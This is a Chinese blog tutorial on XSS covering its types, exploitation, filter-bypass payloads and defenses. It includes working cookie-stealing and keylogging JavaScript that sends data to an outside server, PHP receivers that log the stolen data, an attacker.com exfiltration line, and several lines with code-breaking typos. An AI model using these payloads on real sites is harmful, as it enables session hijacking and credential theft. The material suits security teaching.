深入解析 XSS 漏洞:原理、分类与攻防实战

深入解析XSS漏洞:原理、分类与攻防实战


前言

随着Web应用技术的飞速发展,用户与网站的交互愈发频繁,但随之而来的安全风险也日益凸显。跨站脚本攻击(XSS)作为Web安全领域中最常见、危害最广泛的漏洞之一,长期位列OWASP Top 10榜单。它利用Web应用对用户输入的信任缺陷,注入恶意脚本代码,窃取用户数据、劫持会话甚至控制客户端操作。本文将从XSS的基础概念出发,深入剖析其原理、分类、利用方式与防御策略,结合实战案例带你全面理解这一经典漏洞。


一、XSS漏洞基础认知

1.1 浏览器对象模型(BOM)与XSS的关联

浏览器对象模型(BOM)是JavaScript与浏览器交互的接口,包含windowlocationnavigator等核心对象。例如,window.document可直接操作DOM,location.hostname能获取域名信息。当攻击者能在页面中插入并执行包含BOM操作的JavaScript代码时,XSS漏洞便可能被触发------这正是XSS的本质:恶意脚本在用户浏览器中被执行

html 复制代码
<!--window.location-->   window在使用时可以省略
location.hostname	返回web主机的域名
location.pathname	返回当前页面的路径和文件名
location.port	返回web主机的端口(80或443)
location.protocol	返回所使用的web协议(http:或https:)
<!--window.navigator-->	对象包含有关访问者浏览器的信息。
<script>
    txt="<p>浏览器代号:"+navigator.appCodeName+"</p>"
    txt+="<p>浏览器名称:"+navigator.appName+"</p>"
    txt+="<p>浏览器版本:"+navigator.appVersion+"</p>";
    txt+="<p>启用Cookies:"+navigator.cookieEnabled+"</p>";
    txt+="<p>硬件平台:"+navigator.platform+"</p>";
    txt+="<p>用户代理:"+navigator.userAgent +"</p>";
    txt+="<p>用户代理语言:"+navigator.systemLanguage+"</p>";
	txt+="<p>主机域名:"+location.hostname+"</p>";
	txt+="<p>当前页面路径和文件名"+loaction.pathname+"</p>";
    document.write(txt);
</script>

1.2 XSS漏洞的核心概念

XSS(Cross-Site Scripting),全称跨站脚本攻击,指攻击者向Web页面或URL中注入恶意JavaScript代码。若应用未对用户输入进行有效过滤,正常用户访问页面时,恶意脚本会被浏览器执行,从而实现攻击目的。

1.3 为何称为"跨站"攻击?

攻击者并非直接攻击用户主机,而是通过第三方可信网站 (存在XSS漏洞的站点)作为跳板:恶意脚本从漏洞站点加载,却能窃取用户与该站点的会话数据(如Cookie),或冒充用户执行操作,形成"跨站"攻击链路。

1.4 XSS漏洞的触发条件与常见位置

XSS的触发需满足三个核心条件:

  1. 用户可控制某个输入参数(如搜索框、URL参数);

  2. 后端未对输入进行过滤或转义;

  3. 输入内容被页面输出展示。

常见存在位置包括:URL参数(?name=<恶意脚本>)、表单输入框、评论区、用户资料页等。

1.5 XSS漏洞的危害

XSS的危害渗透到用户与网站交互的全流程:

  • 窃取用户Cookie、Session等身份凭证,劫持账户;
  • 获取客户端信息(浏览器版本、操作系统、地理位置);
  • 弹出恶意广告、诱导钓鱼链接;
  • 记录用户键盘操作,窃取敏感信息(密码、手机号);
  • 结合其他漏洞(如CSRF)实现远程代码执行,甚至控制服务器。

1.6 如何寻找XSS漏洞?

  • 手动测试 :"见框就插"------对所有输入点(表单、URL参数、HTTP头)尝试注入测试脚本(如<script>alert(1)</script>);
  • 自动化工具:使用Xray、AWVS、XSStrike等工具扫描,或Burp Suite插件辅助检测;
  • 复杂场景:需结合业务逻辑手动绕过过滤规则(如编码变形、事件触发)。

二、XSS漏洞的分类与特性

根据恶意脚本的存储方式和执行流程,XSS可分为三类,其核心差异如下表所示:

XSS分类 核心定义 存储区 触发条件 危害等级
反射型(非持久型) 恶意脚本经服务器"反射"后执行,不存储在服务器,仅单次请求有效 URL参数、HTTP请求头 诱导用户点击含恶意脚本的URL 低危
DOM型 恶意脚本仅在前端DOM操作中执行,不经过后端服务器 URL参数、前端存储(localStorage) 前端JS直接渲染未过滤的用户输入 中危
存储型(持久型) 恶意脚本存储在服务器(数据库/文件),所有访问该页面的用户都会触发 数据库、评论表、用户资料 用户访问包含恶意脚本的页面(无需主动操作) 高危

2.1 反射型XSS

需通过URL参数传递恶意脚本,经后端输出后执行,例如:

复制代码
http://example.com/1.php?a=<script>alert(1)</script>

特点是攻击链路依赖"用户点击恶意链接",单次请求生效。

2.2 DOM型XSS

完全由前端JS解析执行,例如页面中存在以下代码:

javascript 复制代码
var action = location.href.split('action=')[1];
document.write(action);

攻击者构造URL:

复制代码
http://example.com/a.php?action=<script>alert(1)</script>

此时恶意脚本会被document.write直接渲染执行,无需后端参与。

2.3 存储型XSS

危害最大的XSS类型:攻击者将恶意脚本提交至服务器(如评论区),存储在数据库中。每当其他用户访问该评论页,脚本便会被加载执行。例如论坛评论中注入:

复制代码
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

所有查看该评论的用户,Cookie都会被窃取。

XSS 分类 核心定义 存储区 插入点 数据流向 触发条件 常见攻击场景 危害
反射型 (非持久型 ) 恶意脚本不存储在服务器,仅通过 URL 参数、查询字符串等方式携带,经服务器 "反射" 后注入 HTML 执行,一次请求即失效。 URL 参数、查询字符串、HTTP 请求头(如 Referer) 服务器返回页面的 HTML 节点(如文本框、标签内容) 用户点击恶意 URL → 浏览器发送请求(携带恶意脚本)→ 服务器原样返回含脚本的 HTML → 浏览器解析 HTML 并执行脚本 必须诱导用户主动点击含恶意脚本的 URL(如钓鱼链接、伪装的正常链接) 搜索框结果展示、URL 参数渲染页面(如?id=123)、错误页面信息回显 低危
存储型 (持久型 ) 恶意脚本永久存储在服务器(如数据库、文件系统、缓存),所有访问该存储内容的用户,都会加载含脚本的页面并触发执行。 后端数据库(如评论表、用户资料表)、服务器文件、缓存系统 服务器动态生成页面的 HTML 节点(如评论内容、用户签名) 攻击者提交恶意脚本 → 服务器存储脚本 → 其他用户访问页面 → 服务器读取脚本并嵌入 HTML → 浏览器执行脚本 用户无需主动操作,仅需访问包含恶意脚本的页面(如评论区、文章详情页) 论坛 / 博客评论区、用户资料编辑页、留言板、商品评价区 高危
DOM 型 恶意脚本不经过服务器处理,仅通过前端 JavaScript 操作 DOM 时注入,由浏览器端直接解析执行,全程不依赖服务器响应。 1. URL 参数 / 哈希值;2. 前端存储(localStorage/sessionStorage);3. 后端数据库(若前端从接口读取未过滤数据) 前端 JavaScript 操作的 DOM 节点(如通过innerHTMLdocument.write渲染的区域) 攻击者构造含恶意脚本的 URL / 前端存储数据 → 前端 JS 读取不可信数据 → 直接用 DOM API 插入页面 → 浏览器执行脚本 前端代码未对用户输入 / URL 参数进行过滤,直接用危险 DOM 方法(如innerHTML)渲染内容 单页应用(SPA)动态渲染、前端路由参数处理、本地存储数据展示 低危

三、XSS的实战利用方式

3.1 窃取Cookie:数据外带攻击

(1)在第三方服务器写入1.js用于在靶机网站xss注入

js 复制代码
var img = document.createElement('img');  //创建一个高度、长度为0px的图片,用于隐藏xss注入
img.width=0;
img.height=0;
img.src="http://192.168.17.176:8080/1.php?cookie="+encodeURIComponent(document.cookie);

(2)在第三方服务器写入1.php用于触发js后接收前端传来的cookie并写入本地的cookie.txt中

php 复制代码
<?php
    $cookie = $_GET['cookie'];	//接收恶意JS传递的cookie
    $info = fopen('cookie.txt','a+');
    fwrite($info,$cookie.PHP_EOL);
    fclose($info);
?>

(3)在攻击机的浏览器中向靶机注入恶意代码,并在浏览器添加cookie

js 复制代码
</div></p><script src="http://192.168.17.176:8080/1.js"></script><div><p>


(4)猛猛访问被注入恶意代码的页面,之后在第三方服务器中查看被记录的cookie值

⚠️注意:

1.所有步骤都正确,为什么cookie.txt中没有记录cookie?

情况1:注入恶意代码后再次尝试获取cookie,出现权限不够的情况导致无法加载我们的js代码

修改权限,并清除浏览器缓存后再次请求

情况2:只能通过获取自己添加的cookie

原因:跨站点脚本 (XSS)攻击通常旨在窃取会话 cookie。在这种攻击中,cookie 值由使用 JavaScript ( document.cookie) 的客户端脚本访问。然而,在日常使用中,Web 应用程序很少需要通过 JavaScript 访问 cookie。因此,设计了一种保护 cookie 免受此类盗窃的方法:一个标志,告诉 Web 浏览器 cookie 只能通过 HTTP 访问 - HttpOnly标志。

并且只能通过数据外带的方式获取cookie数据。

3.2 键盘记录:AJAX异步窃取

通过监听键盘事件,记录用户输入的敏感信息(如密码):

异步的本质:非阻塞执行

open() 方法第三个参数设为 true(异步模式)时,浏览器发送请求后不会等待服务器响应,而是立即继续执行后续代码,同时在后台处理请求。

示例代码:

html 复制代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function loadXMLDoc()
{
	var xmlhttp;   //变量声明
	if (window.XMLHttpRequest)   //检查当前浏览器是否支持XMLHttpRequest对象
	{
		//  IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码
		xmlhttp=new XMLHttpRequest();   //如果支持的情况下创建一个新的XMLHttpRequest实例
	}
	else
	{
		// IE6, IE5 浏览器执行代码
		xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");  //如果当前浏览器不支持,则使用老方法创建一个XMLHttpRequest示例
	}
	xmlhttp.onreadystatechange=function() //创建一个onreadystatechange事件处理程序
	{
		if (xmlhttp.readyState==4 && xmlhttp.status==200)//当前请求状态为4(完成请求),并且状态码为200(请求成功)
		{
			document.getElementById("myDiv").innerHTML=xmlhttp.responseText;//通过innnerhtml输出的方式,将xmlhttp异步请求中的响应值在ID对应的位置输出
		}
	}
	xmlhttp.open("GET","/try/ajax/ajax_info.txt",true);//设置当前请求的文件位置【可定义恶意JS的路径】及请求方式
	xmlhttp.send();
  
}
</script>
</head>
<body>

<div id="myDiv"><h2>使用 AJAX 修改该文本内容</h2></div>
<button type="button" onclick="loadXMLDoc()">修改内容</button>

</body>
</html>

发送post请求的时候,必须设定当前content-type

php 复制代码
//发送POST的方法
xmlhttp.open("POST","http://localhost/XSS/jianpan/log.php",true);  		//请求的位置和POST方式
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");  	//设置请求格式
xmlhttp.send(); 
做键盘记录的方法

(1)在三方服务器创建一个恶意的文件http://192.168.17.176/xss-jianpan/log.js,创建键盘事件,获取当前用户的键盘操作行为,将这个行为通过AJAX异步的方式进行发送

js 复制代码
document.onkeypress=function(evt){  		//onkeypress是按下记录键盘按键的事件
    evt = evt || window.event  					//处理浏览器兼容
    key = String.fromCharCode(evt.charCode)  		//处理键码值兼容(每个按键对应一个键码)
    if(key){ 
		console.log('------'+key);
        var http=new XMLHttpRequest();  //ajax来发起网络请求
        var param=encodeURI(key);  	//内容编码防止传递过程中编码错误
        http.open("POST","http://192.168.17.176:8080/xss-jianpan/log.php",true);  //请求的位置和POST方式
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //设置请求格式
        http.send("key="+param);  	//请求体
    }  
}

GET请求的发送方式

js 复制代码
document.onkeypress=function(evt){//onkeypress是按下记录键盘按键的事件
evt=evt || window.event//处理浏览器兼容
key=String.fromCharCode(evt.charCode)//处理键码值兼容(每个按键对应一个键码)
if(key){
varhttp=newXMLHttpRequestO;//ajax来发起网络请求
var param=encodeuRI(key);//内容编码防止传递过程中编码错误
http.open("GET","http://localhost/XSs/jianpan/log.php?key="+param,true);
http.send()://请求体
}

(2)在本地创建一个http://localhost:8080/log.php文件,用于接收异步传递的键盘操作数据

php 复制代码
<?php
    $cookie = $_POST['key'];	//接收恶意JS传递的键盘事件
    $info = fopen('jianpa.txt','a+');
    fwrite($info,$cookie.PHP_EOL);
    fclose($info);
?>

(3)在存在XSS漏洞的位置,利用src加载我们的恶意JS即可

复制代码
</div></p><script src="http://192.168.17.176:8080/xss-jianpan/log.js"></script><div><p>

四、XSS的触发场景与标签利用

并非所有位置都能触发XSS,需结合HTML标签特性:

  1. 独立<script>标签 :最基础的触发方式

    html 复制代码
    <script>alert(1)</script>
  2. 事件触发 :利用标签的事件属性(如onerroronclick

    html 复制代码
    <img src="x" onerror="alert(1)">
    <a href="#" onclick="alert(1)">点击触发</a>
  3. JavaScript伪协议 :通过链接伪协议执行脚本

    html 复制代码
    <a href="javascript:alert(1)">Click Me</a>
  4. Data伪协议 :直接嵌入HTML代码

    复制代码
    data:text/html,<script>alert(1)</script>

XSS盲打

若恶意脚本提交至后台管理员页面(普通用户不可见),攻击者需向留言板、反馈表单等位置批量注入测试脚本,等待管理员访问时触发------这就是"XSS盲打",常用于攻击后台系统。

五、XSS的绕过技巧

为绕过应用的过滤规则,攻击者会对恶意脚本进行变形:

  1. 大小写混淆<Script>alert(1)</SCript>

  2. 符号替换 :用斜杠代替空格(<img/src=x/onerror=alert(1)>

  3. 回车拆分

    html 复制代码
    <a href="j
    a
    v
    a
    s
    c
    r
    i
    p
    t:alert(1)">点击</a>
  4. 实体编码 :将字符转为ASCII/十六进制编码

    html 复制代码
    <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">触发</a>
  5. 双写绕过 :若过滤script,则用<scrscriptipt>alert(1)</scrscriptipt>

  6. 拆分跨站 :分别发送多条语句,设置全局变量字符串,构造字符串为XSS语句,然后调用eval()函数执行构造的字符串

    html 复制代码
     <script>a='alert'</script>
     <script>a=a+'(123)'</script>
     <script>evla(a)</script>
     或者:
     <Script>a="alert";a=a+"(123456)";eval(a)</ScRipt>
  7. 编码混淆 :使用JSFuck、Unicode编码等方式隐藏脚本

    javascript 复制代码
    <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

六、XSS的防御策略

XSS的防御核心是"不信任用户输入",需从多维度入手:

  1. 输入过滤 :设置黑白名单,过滤<>scriptonerror等危险字符/关键词;限制输入长度。
  2. 输出编码 :后端使用htmlspecialchars()等函数对输出内容进行HTML实体编码,将<转为&lt;>转为&gt;
  3. Cookie保护 :设置Cookie的HttpOnly=true,禁止JavaScript读取Cookie。
  4. 安全框架:使用React、Vue等框架的自动转义特性,或引入XSS Filter库(如Java的ESAPI)。
  5. 内容安全策略(CSP) :通过HTTP头限制脚本加载源(如Content-Security-Policy: default-src 'self'),阻止外部恶意脚本执行。

总结

XSS漏洞的本质是"输入输出的信任边界被打破",它看似简单,却因Web应用的复杂性衍生出多样的利用方式。从反射型的单次攻击到存储型的持久化危害,从基础的弹窗测试到高级的键盘记录与会话劫持,XSS始终威胁着用户数据安全。

防御XSS并非单一措施能解决,需结合"输入过滤+输出编码+安全配置"形成纵深防护体系。对于开发者而言,培养"最小权限"和"不信任用户输入"的安全意识,是抵御XSS的第一道防线;对于安全测试人员,深入理解XSS的变形技巧与触发场景,才能精准发现漏洞。

在Web安全的攻防对抗中,XSS从未过时------唯有持续学习与实践,才能筑牢应用的安全屏障。

相关推荐
JK凯1 小时前
前端调试技巧
前端·visual studio code·前端工程化
开源之眼1 小时前
github star 基础IO 文件在内核中是怎么被管理的 重定向的含义 在自定义shell中加入重定向
前端
物流可信数据空间1 小时前
专家解读 | 提升数据流通安全治理能力 促进数据流通开发利用【可信数据空间】
大数据·人工智能·安全
JZXStudio1 小时前
独立开发者亲测:MLX框架让我的App秒变AI原生!15年iOS老兵的2025新感悟
前端·ios
cindershade1 小时前
Vue 3:我在真实项目中如何用事件委托
前端
我叫黑大帅1 小时前
存储管理在开发中有哪些应用?
前端·后端·全栈
鲨叔1 小时前
zustand 从原理到实践 - 原理篇(2)
前端·react.js
四川合睿达自动化控制工程有限公司1 小时前
水库安全监测系统
安全
Par@ish1 小时前
【局域网协议】为什么我们需要管理DNS?
安全·dns·domain